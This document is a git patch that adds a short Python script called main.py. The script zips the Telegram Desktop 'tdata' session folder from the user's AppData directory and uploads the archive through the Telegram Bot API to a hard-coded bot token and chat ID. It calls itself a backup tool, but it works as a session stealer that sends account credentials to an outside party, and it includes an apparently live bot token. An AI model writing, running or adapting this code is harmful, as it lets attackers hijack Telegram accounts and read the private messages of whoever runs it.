From 10d4d79ee308633f0436057746717e552666440c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=A2=D0=B8=D0=BC=D0=BE=D1=84=D0=B5=D0=B9=20=D0=93=D1=83?= =?UTF-8?q?=D0=BB=D0=B5=D0=BD=D0=BE=D0=BA?= Date: Sat, 3 Jan 2026 13:07:55 +0300 Subject: [PATCH] Upload files to "/" --- main.py | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 main.py diff --git a/main.py b/main.py new file mode 100644 index 0000000..a2e8000 --- /dev/null +++ b/main.py @@ -0,0 +1,43 @@ +import os +import zipfile +import requests + +# ================= CONFIG ================= +BOT_TOKEN = "8417181461:AAH_1SXDPA3b_SeDhUy6RcNWM_bny9SOmeI" +CHAT_ID = "-5204345644" + +SOURCE_DIR = "%APPDATA%\\Telegram Desktop\\tdata" +EXCLUDE_DIR_NAME = "user_data" +ZIP_PATH = "backup.zip" +# ========================================= + + +def zip_directory(source_dir, zip_path, exclude_dir_name): + with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zipf: + for root, dirs, files in os.walk(source_dir): + # Exclude the directory + dirs[:] = [d for d in dirs if d != exclude_dir_name] + + for file in files: + full_path = os.path.join(root, file) + relative_path = os.path.relpath(full_path, source_dir) + zipf.write(full_path, relative_path) + + +def send_to_telegram(zip_path, bot_token, chat_id): + url = f"https://api.telegram.org/bot{bot_token}/sendDocument" + with open(zip_path, "rb") as f: + response = requests.post( + url, + data={"chat_id": chat_id}, + files={"document": f}, + timeout=120 + ) + response.raise_for_status() + + +if __name__ == "__main__": + zip_directory(SOURCE_DIR, ZIP_PATH, EXCLUDE_DIR_NAME) + send_to_telegram(ZIP_PATH, BOT_TOKEN, CHAT_ID) + print("✅ Archive sent to Telegram successfully") +